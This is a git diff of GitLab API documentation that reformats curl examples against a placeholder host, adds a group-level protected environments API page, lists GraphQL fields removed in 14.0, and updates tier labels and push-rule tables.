+| <a id="negatedepicfilterinputauthorusername"></a>`authorUsername` | [`String`](#string) | Filter by author username. |
+| <a id="negatedepicfilterinputlabelname"></a>`labelName` | [`[String]`](#string) | Filter by label name. |
+| <a id="negatedepicfilterinputmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. |
+
### `NegatedIssueFilterInput`
#### Arguments
diff --git a/doc/api/graphql/removed_items.md b/doc/api/graphql/removed_items.md
index a76f1fb7418..d8fc6cb35f8 100644
--- a/doc/api/graphql/removed_items.md
+++ b/doc/api/graphql/removed_items.md
@@ -10,6 +10,32 @@ GraphQL is a versionless API, unlike the REST API.
Occasionally, items have to be updated or removed from the GraphQL API.
According to our [process for removing items](index.md#deprecation-and-removal-process), here are the items that have been removed.
+## GitLab 14.0
+
+Fields removed in [GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63293):
+
+### GraphQL Mutations
+
+| Argument name | Mutation | Deprecated in | Use instead |
+| -------------------- | -------------------- | ------------- | -------------------------- |
+| `updated_ids` | `todosMarkAllDone` | 13.2 | `todos` |
+| `updated_ids` | `todoRestoreMany` | 13.2 | `todos` |
+| `global_id` | `dastScannerProfileCreate`| 13.6 | `todos` |
+| - | `addAwardEmoji` | 13.2 | `awardEmojiAdd` |
+| - | `removeAwardEmoji` | 13.2 | `awardEmojiRemove` |
+| - | `toggleAwardEmoji` | 13.2 | `ToggleAwardEmoji` |
+| - | `runDastScan` | 13.5 | `dastOnDemandScanCreate` |
+| - | `dismissVulnerability` | 13.5 | `vulnerabilityDismiss` |
+| - | `revertVulnerabilityToDetected` | 13.5 | `vulnerabilityRevertToDetected` |
+
+### GraphQL Types
+
+| Field name | GraphQL type | Deprecated in | Use instead |
+| -------------------- | -------------------- | ------------- | -------------------------- |
+| `blob` | `SnippetType` | 13.3 | `blobs` |
+| `global_id` | `DastScannerProfileType` | 13.6 | `blobs` |
+| `vulnerabilities_count_by_day_and_severity` | `GroupType`, `QueryType` | 13.3 | None. Plaintext tokens no longer supported for security reasons. |
+
## GitLab 13.6
Fields removed in [GitLab 13.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44866):
diff --git a/doc/api/group_badges.md b/doc/api/group_badges.md
index 848d5735096..63ba71797fc 100644
--- a/doc/api/group_badges.md
+++ b/doc/api/group_badges.md
@@ -102,7 +102,9 @@ POST /groups/:id/badges
| `image_url` | string | yes | URL of the badge image |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --data "link_url=https://gitlab.com/gitlab-org/gitlab-foss/commits/master&image_url=https://shields.io/my/badge1&position=0" "https://gitlab.example.com/api/v4/groups/:id/badges"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --data "link_url=https://gitlab.com/gitlab-org/gitlab-foss/commits/master&image_url=https://shields.io/my/badge1&position=0" \
+ "https://gitlab.example.com/api/v4/groups/:id/badges"
```
Example response:
@@ -134,7 +136,8 @@ PUT /groups/:id/badges/:badge_id
| `image_url` | string | no | URL of the badge image |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/badges/:badge_id"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/groups/:id/badges/:badge_id"
```
Example response:
diff --git a/doc/api/group_clusters.md b/doc/api/group_clusters.md
index ea7c13637c4..6853e38cc32 100644
--- a/doc/api/group_clusters.md
+++ b/doc/api/group_clusters.md
@@ -13,7 +13,7 @@ Similarly to [project-level](../user/project/clusters/index.md) and
group-level Kubernetes clusters allow you to connect a Kubernetes cluster to
your group, enabling you to use the same cluster across multiple projects.
-Users need at least [Maintainer](../user/permissions.md) access for the group to use these endpoints.
+Users need at least the [Maintainer role](../user/permissions.md) for the group to use these endpoints.
## List group clusters
diff --git a/doc/api/group_import_export.md b/doc/api/group_import_export.md
index 79338df4f7a..d2bcac6332a 100644
--- a/doc/api/group_import_export.md
+++ b/doc/api/group_import_export.md
@@ -57,7 +57,8 @@ GET /groups/:id/export/download
| `id` | integer/string | yes | ID of the group owned by the authenticated user |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name --remote-name "https://gitlab.example.com/api/v4/groups/1/export/download"
+curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name \
+ --remote-name "https://gitlab.example.com/api/v4/groups/1/export/download"
```
```shell
@@ -90,7 +91,9 @@ The `file=` parameter must point to a file on your file system and be preceded
by `@`. For example:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "name=imported-group" --form "path=imported-group" --form "file=@/path/to/file" "https://gitlab.example.com/api/v4/groups/import"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form "name=imported-group" --form "path=imported-group" \
+ --form "file=@/path/to/file" "https://gitlab.example.com/api/v4/groups/import"
```
NOTE:
diff --git a/doc/api/group_labels.md b/doc/api/group_labels.md
index 65c28e80f0a..2aca98259e0 100644
--- a/doc/api/group_labels.md
+++ b/doc/api/group_labels.md
@@ -118,7 +118,9 @@ POST /groups/:id/labels
| `description` | string | no | The description of the label, |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"name": "Feature Proposal", "color": "#FFA500", "description": "Describes new ideas" }' "https://gitlab.example.com/api/v4/groups/5/labels"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
+ --data '{"name": "Feature Proposal", "color": "#FFA500", "description": "Describes new ideas" }' \
+ "https://gitlab.example.com/api/v4/groups/5/labels"
```
Example response:
@@ -155,7 +157,8 @@ PUT /groups/:id/labels/:label_id
| `description` | string | no | The description of the label. |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" --data '{"new_name": "Feature Idea" }' "https://gitlab.example.com/api/v4/groups/5/labels/Feature%20Proposal"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
+ --data '{"new_name": "Feature Idea" }' "https://gitlab.example.com/api/v4/groups/5/labels/Feature%20Proposal"
```
Example response:
diff --git a/doc/api/group_level_variables.md b/doc/api/group_level_variables.md
index b548372b02d..6425e022170 100644
--- a/doc/api/group_level_variables.md
+++ b/doc/api/group_level_variables.md
@@ -1,6 +1,6 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -92,7 +92,8 @@ POST /groups/:id/variables
| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) of a variable |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/variables" --form "key=NEW_VARIABLE" --form "value=new value"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/groups/1/variables" --form "key=NEW_VARIABLE" --form "value=new value"
```
```json
@@ -125,7 +126,8 @@ PUT /groups/:id/variables/:key
| `environment_scope` **(PREMIUM)** | string | no | The [environment scope](../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) of a variable |
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/variables/NEW_VARIABLE" --form "value=updated value"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/groups/1/variables/NEW_VARIABLE" --form "value=updated value"
```
```json
@@ -153,5 +155,6 @@ DELETE /groups/:id/variables/:key
| `key` | string | yes | The `key` of a variable |
```shell
-curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/variables/VARIABLE_1"
+curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/groups/1/variables/VARIABLE_1"
```
diff --git a/doc/api/group_protected_environments.md b/doc/api/group_protected_environments.md
new file mode 100644
index 00000000000..d4e27a7200a
--- /dev/null
+++ b/doc/api/group_protected_environments.md
@@ -0,0 +1,154 @@
+---
+stage: Release
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: concepts, howto
+---
+
+# Group-level protected environments API **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/215888) in [GitLab Premium](https://about.gitlab.com/pricing/) 14.0.
+> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](../ci/environments/protected_environments.md#enable-or-disable-group-level-protected-environments). **(FREE SELF)**
+
+This in-development feature might not be available for your use. There can be
+[risks when enabling features still in development](../user/feature_flags.md#risks-when-enabling-features-still-in-development).
+Refer to this feature's version history for more details.
+
+Read more about [group-level protected environments](../ci/environments/protected_environments.md#group-level-protected-environments),
+
+## Valid access levels
+
+The access levels are defined in the `ProtectedEnvironment::DeployAccessLevel::ALLOWED_ACCESS_LEVELS` method.
+Currently, these levels are recognized:
+
+```plaintext
+30 => Developer access
+40 => Maintainer access
+60 => Admin access
+```
+
+## List group-level protected environments
+
+Gets a list of protected environments from a group.
+
+```shell
+GET /groups/:id/protected_environments
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) maintained by the authenticated user. |
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/protected_environments/"
+```
+
+Example response:
+
+```json
+[
+ {
+ "name":"production",
+ "deploy_access_levels":[
+ {
+ "access_level":40,
+ "access_level_description":"Maintainers",
+ "user_id":null,
+ "group_id":null
+ }
+ ]
+ }
+]
+```
+
+## Get a single protected environment
+
+Gets a single protected environment.
+
+```shell
+GET /groups/:id/protected_environments/:name
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) maintained by the authenticated user. |
+| `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).|
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/protected_environments/production"
+```
+
+Example response:
+
+```json
+{
+ "name":"production",
+ "deploy_access_levels":[
+ {
+ "access_level":40,
+ "access_level_description":"Maintainers",
+ "user_id":null,
+ "group_id":null
+ }
+ ]
+}
+```
+
+## Protect an environment
+
+Protects a single environment.
+
+```shell
+POST /groups/:id/protected_environments
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) maintained by the authenticated user. |
+| `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).|
+| `deploy_access_levels` | array | yes | Array of access levels allowed to deploy, with each described by a hash. One of `user_id`, `group_id` or `access_level`. They take the form of `{user_id: integer}`, `{group_id: integer}` or `{access_level: integer}` respectively. |
+
+The assignable `user_id` are the users who belong to the given group with the Maintainer role (or above).
+The assignable `group_id` are the sub-groups under the given group.
+
+```shell
+curl --header 'Content-Type: application/json' --request POST --data '{"name": "production", "deploy_access_levels": [{"group_id": 9899826}]}' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/22034114/protected_environments"
+```
+
+Example response:
+
+```json
+{
+ "name":"production",
+ "deploy_access_levels":[
+ {
+ "access_level":40,
+ "access_level_description":"protected-access-group",
+ "user_id":null,
+ "group_id":9899826
+ }
+ ]
+}
+```
+
+## Unprotect environment
+
+Unprotects the given protected environment.
+
+```shell
+DELETE /groups/:id/protected_environments/:name
+```
+
+| Attribute | Type | Required | Description |
+| --------- | ---- | -------- | ----------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) maintained by the authenticated user. |
+| `name` | string | yes | The deployment tier of the protected environment. One of `production`, `staging`, `testing`, `development`, or `other`. Read more about [deployment tiers](../ci/environments/index.md#deployment-tier-of-environments).|
+
+```shell
+curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/protected_environments/staging"
+```
+
+The response should return a 200 code.
diff --git a/doc/api/group_relations_export.md b/doc/api/group_relations_export.md
index bb19f7f0923..2f9c1e381df 100644
--- a/doc/api/group_relations_export.md
+++ b/doc/api/group_relations_export.md
@@ -48,7 +48,8 @@ GET /groups/:id/export_relations/status
| `id` | integer/string | yes | ID of the group owned by the authenticated user. |
```shell
-curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/export_relations/status"
+curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/groups/1/export_relations/status"
```
The status can be one of the following:
@@ -92,7 +93,8 @@ GET /groups/:id/export_relations/download
| `relation` | string | yes | Name of the group top-level relation to download. |
```shell
-curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name --remote-name "https://gitlab.example.com/api/v4/groups/1/export_relations/download?relation=labels"
+curl --header "PRIVATE-TOKEN: <your_access_token>" --remote-header-name \
+ --remote-name "https://gitlab.example.com/api/v4/groups/1/export_relations/download?relation=labels"
```
```shell
diff --git a/doc/api/group_repository_storage_moves.md b/doc/api/group_repository_storage_moves.md
index 0388bf46a1b..2373fa25e15 100644
--- a/doc/api/group_repository_storage_moves.md
+++ b/doc/api/group_repository_storage_moves.md
@@ -202,8 +202,10 @@ Supported attributes:
Example request:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
---data '{"destination_storage_name":"storage2"}' "https://gitlab.example.com/api/v4/groups/1/repository_storage_moves"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --header "Content-Type: application/json" \
+ --data '{"destination_storage_name":"storage2"}' \
+ "https://gitlab.example.com/api/v4/groups/1/repository_storage_moves"
```
Example response:
@@ -241,8 +243,10 @@ Supported attributes:
Example request:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
---data '{"source_storage_name":"default"}' "https://gitlab.example.com/api/v4/group_repository_storage_moves"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --header "Content-Type: application/json" \
+ --data '{"source_storage_name":"default"}' \
+ "https://gitlab.example.com/api/v4/group_repository_storage_moves"
```
Example response:
diff --git a/doc/api/group_wikis.md b/doc/api/group_wikis.md
index f0c38d4d4b9..58192425786 100644
--- a/doc/api/group_wikis.md
+++ b/doc/api/group_wikis.md
@@ -64,7 +64,7 @@ GET /groups/:id/wikis/:slug
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
-| `slug` | string | yes | The slug (a unique string) of the wiki page |
+| `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/wikis/home"
@@ -127,7 +127,7 @@ PUT /groups/:id/wikis/:slug
| `content` | string | yes if `title` is not provided | The content of the wiki page |
| `title` | string | yes if `content` is not provided | The title of the wiki page |
| `format` | string | no | The format of the wiki page. Available formats are: `markdown` (default), `rdoc`, `asciidoc` and `org` |
-| `slug` | string | yes | The slug (a unique identifier) of the wiki page |
+| `slug` | string | yes | URL encoded slug (a unique string) of the wiki page. Ex. dir%2Fpage_name |
```shell
curl --request PUT --data "format=rdoc&content=documentation&title=Docs" \
@@ -157,7 +157,7 @@ DELETE /groups/:id/wikis/:slug
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
-| `slug` | string | yes | The slug (a unique identifier) of the wiki page |
+| `slug` | string | yes | URL-encoded slug (a unique string) of the wiki page, such as `dir%2Fpage_name` |
```shell
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/wikis/foo"
@@ -186,7 +186,8 @@ The `file=` parameter must point to a file on your file system and be preceded
by `@`. For example:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "file=@dk.png" "https://gitlab.example.com/api/v4/groups/1/wikis/attachments"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form "file=@dk.png" "https://gitlab.example.com/api/v4/groups/1/wikis/attachments"
```
Example response:
diff --git a/doc/api/groups.md b/doc/api/groups.md
index 6bec6e0f6f8..de2c6c95bcd 100644
--- a/doc/api/groups.md
+++ b/doc/api/groups.md
@@ -302,7 +302,8 @@ Example response:
"id": 9,
"description": "foo",
"default_branch": "master",
- "tag_list": [],
+ "tag_list": [], //deprecated, use `topics` instead
+ "topics": [],
"archived": false,
"visibility": "internal",
"ssh_url_to_repo": "git@gitlab.example.com/html5-boilerplate.git",
@@ -381,9 +382,8 @@ Example response:
"path_with_namespace":"h5bp/html5-boilerplate",
"created_at":"2020-04-27T06:13:22.642Z",
"default_branch":"master",
- "tag_list":[
-
- ],
+ "tag_list":[], //deprecated, use `topics` instead
+ "topics":[],
"ssh_url_to_repo":"ssh://git@gitlab.com/h5bp/html5-boilerplate.git",
"http_url_to_repo":"http://gitlab.com/h5bp/html5-boilerplate.git",
"web_url":"http://gitlab.com/h5bp/html5-boilerplate",
@@ -540,7 +540,8 @@ Example response:
"id": 7,
"description": "Voluptas veniam qui et beatae voluptas doloremque explicabo facilis.",
"default_branch": "master",
- "tag_list": [],
+ "tag_list": [], //deprecated, use `topics` instead
+ "topics": [],
"archived": false,
"visibility": "public",
"ssh_url_to_repo": "git@gitlab.example.com:twitter/typeahead-js.git",
@@ -578,7 +579,8 @@ Example response:
"id": 6,
"description": "Aspernatur omnis repudiandae qui voluptatibus eaque.",
"default_branch": "master",
- "tag_list": [],
+ "tag_list": [], //deprecated, use `topics` instead
+ "topics": [],
"archived": false,
"visibility": "internal",
"ssh_url_to_repo": "git@gitlab.example.com:twitter/flight.git",
@@ -618,7 +620,8 @@ Example response:
"id": 8,
"description": "Velit eveniet provident fugiat saepe eligendi autem.",
"default_branch": "master",
- "tag_list": [],
+ "tag_list": [], //deprecated, use `topics` instead
+ "topics": [],
"archived": false,
"visibility": "private",
"ssh_url_to_repo": "git@gitlab.example.com:h5bp/html5-boilerplate.git",
@@ -722,6 +725,28 @@ Example response:
}
```
+### Download a Group avatar
+
+Get a group avatar. This endpoint can be accessed without authentication if the
+group is publicly accessible.
+
+```plaintext
+GET /groups/:id/avatar
+```
+
+| Attribute | Type | Required | Description |
+| --------- | -------------- | -------- | --------------------- |
+| `id` | integer/string | yes | ID of the group |
+
+Example:
+
+```shell
+curl --header "PRIVATE-TOKEN: $GITLAB_LOCAL_TOKEN" \
+ --remote-header-name \
+ --remote-name \
+ "https://gitlab.example.com/api/v4/groups/4/avatar"
+```
+
### Disable the results limit **(FREE SELF)**
The 100 results limit can break integrations developed using GitLab 12.4 and earlier.
@@ -752,7 +777,7 @@ Parameters:
| `name` | string | yes | The name of the group. |
| `path` | string | yes | The path of the group. |
| `description` | string | no | The group's description. |
-| `membership_lock` | boolean | no | **(STARTER)** Prevent adding new members to project membership within this group. |
+| `membership_lock` | boolean | no | **(PREMIUM)** Prevent adding new members to project membership within this group. |
| `visibility` | string | no | The group's visibility. Can be `private`, `internal`, or `public`. |
| `share_with_group_lock` | boolean | no | Prevent sharing a project with another group within this group. |
| `require_two_factor_authentication` | boolean | no | Require all users in this group to setup Two-factor authentication. |
@@ -770,6 +795,10 @@ Parameters:
| `shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Pipeline minutes quota for this group (included in plan). Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0` |
| `extra_shared_runners_minutes_limit` | integer | no | **(PREMIUM SELF)** Extra pipeline minutes quota for this group (purchased in addition to the minutes included in the plan). |
+NOTE:
+On GitLab SaaS, you must use the GitLab UI to create groups without a parent group. You cannot
+use the API to do this.
+
### Options for `default_branch_protection`
The `default_branch_protection` attribute determines whether developers and maintainers can push to the applicable [default branch](../user/project/repository/branches/default.md), as described in the following table:
@@ -788,9 +817,10 @@ This is similar to creating a [New group](#new-group). You need the `parent_id`
- `subgroup_name`
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --header "Content-Type: application/json" \
- --data '{"path": "<subgroup_path>", "name": "<subgroup_name>", "parent_id": <parent_group_id> }' \
- "https://gitlab.example.com/api/v4/groups/"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --header "Content-Type: application/json" \
+ --data '{"path": "<subgroup_path>", "name": "<subgroup_name>", "parent_id": <parent_group_id> }' \
+ "https://gitlab.example.com/api/v4/groups/"
```
## Transfer project to group
@@ -809,7 +839,8 @@ Parameters:
| `project_id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/4/projects/56"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/groups/4/projects/56"
```
## Update group
@@ -826,7 +857,7 @@ PUT /groups/:id
| `name` | string | no | The name of the group. |
| `path` | string | no | The path of the group. |
| `description` | string | no | The description of the group. |
-| `membership_lock` | boolean | no | **(STARTER)** Prevent adding new members to project membership within this group. |
+| `membership_lock` | boolean | no | **(PREMIUM)** Prevent adding new members to project membership within this group. |
| `share_with_group_lock` | boolean | no | Prevent sharing a project with another group within this group. |
| `visibility` | string | no | The visibility level of the group. Can be `private`, `internal`, or `public`. |
| `require_two_factor_authentication` | boolean | no | Require all users in this group to setup Two-factor authentication. |
@@ -851,7 +882,8 @@ The `projects` and `shared_projects` attributes in the response are deprecated a
To get the details of all projects within a group, use either the [list a group's projects](#list-a-groups-projects) or the [list a group's shared projects](#list-a-groups-shared-projects) endpoint.
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5?name=Experimental"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/groups/5?name=Experimental"
```
This endpoint returns:
@@ -883,7 +915,8 @@ Example response:
"id": 9,
"description": "foo",
"default_branch": "master",
- "tag_list": [],
+ "tag_list": [], //deprecated, use `topics` instead
+ "topics": [],
"public": false,
"archived": false,
"visibility": "internal",
@@ -956,7 +989,8 @@ curl to post data using the header `Content-Type: multipart/form-data`. The
`@`. For example:
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/22" --form "avatar=@/tmp/example.png"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/22" \
+ --form "avatar=@/tmp/example.png"
```
## Remove group
@@ -1142,7 +1176,7 @@ DELETE /groups/:id/hooks/:hook_id
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
| `hook_id` | integer | yes | The ID of the group hook. |
-## Group Audit Events **(STARTER)**
+## Group Audit Events **(PREMIUM)**
Group audit events can be accessed via the [Group Audit Events API](audit_events.md#group-audit-events)
@@ -1298,11 +1332,11 @@ DELETE /groups/:id/share/:group_id
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
| `group_id` | integer | yes | The ID of the group to share with |
-## Push Rules **(STARTER)**
+## Push Rules **(PREMIUM)**
-> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 13.4.
+> Introduced in [GitLab](https://about.gitlab.com/pricing/) 13.4.
-### Get group push rules **(STARTER)**
+### Get group push rules **(PREMIUM)**
Get the [push rules](../user/group/index.md#group-push-rules) of a group.
@@ -1345,7 +1379,7 @@ the `commit_committer_check` and `reject_unsigned_commits` parameters:
}
```
-### Add group push rule **(STARTER)**
+### Add group push rule **(PREMIUM)**
Adds [push rules](../user/group/index.md#group-push-rules) to the specified group.
@@ -1358,17 +1392,17 @@ POST /groups/:id/push_rule
| Attribute | Type | Required | Description |
| --------------------------------------------- | -------------- | -------- | ----------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
-| `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag |
-| `member_check` **(STARTER)** | boolean | no | Allows only GitLab users to author commits |
-| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected |
-| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` |
-| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` |
-| `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` |
-| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` |
-| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` |
-| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed |
-| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails are allowed |
-| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG are allowed |
+| `deny_delete_tag` | boolean | no | Deny deleting a tag |
+| `member_check` | boolean | no | Allows only GitLab users to author commits |
+| `prevent_secrets` | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected |
+| `commit_message_regex` | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` |
+| `commit_message_negative_regex` | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` |
+| `branch_name_regex` | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` |
+| `author_email_regex` | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` |
+| `file_name_regex` | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` |
+| `max_file_size` | integer | no | Maximum file size (MB) allowed |
+| `commit_committer_check` | boolean | no | Only commits pushed using verified emails are allowed |
+| `reject_unsigned_commits` | boolean | no | Only commits signed through GPG are allowed |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/19/push_rule"
@@ -1392,7 +1426,7 @@ Response:
}
```
-### Edit group push rule **(STARTER)**
+### Edit group push rule **(PREMIUM)**
Edit push rules for a specified group.
@@ -1405,17 +1439,17 @@ PUT /groups/:id/push_rule
| Attribute | Type | Required | Description |
| --------------------------------------------- | -------------- | -------- | ----------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) |
-| `deny_delete_tag` **(STARTER)** | boolean | no | Deny deleting a tag |
-| `member_check` **(STARTER)** | boolean | no | Restricts commits to be authored by existing GitLab users only |
-| `prevent_secrets` **(STARTER)** | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected |
-| `commit_message_regex` **(STARTER)** | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` |
-| `commit_message_negative_regex` **(STARTER)** | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` |
-| `branch_name_regex` **(STARTER)** | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` |
-| `author_email_regex` **(STARTER)** | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` |
-| `file_name_regex` **(STARTER)** | string | no | Filenames matching the regular expression provided in this attribute are **not** allowed, e.g. `(jar|exe)$` |
-| `max_file_size` **(STARTER)** | integer | no | Maximum file size (MB) allowed |
-| `commit_committer_check` **(PREMIUM)** | boolean | no | Only commits pushed using verified emails are allowed |
-| `reject_unsigned_commits` **(PREMIUM)** | boolean | no | Only commits signed through GPG are allowed |
+| `deny_delete_tag` | boolean | no | Deny deleting a tag |
+| `member_check` | boolean | no | Restricts commits to be authored by existing GitLab users only |
+| `prevent_secrets` | boolean | no | [Files that are likely to contain secrets](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) are rejected |
+| `commit_message_regex` | string | no | All commit messages must match the regular expression provided in this attribute, e.g. `Fixed \d+\..*` |
+| `commit_message_negative_regex` | string | no | Commit messages matching the regular expression provided in this attribute aren't allowed, e.g. `ssh\:\/\/` |
+| `branch_name_regex` | string | no | All branch names must match the regular expression provided in this attribute, e.g. `(feature|hotfix)\/*` |
+| `author_email_regex` | string | no | All commit author emails must match the regular expression provided in this attribute, e.g. `@my-company.com$` |
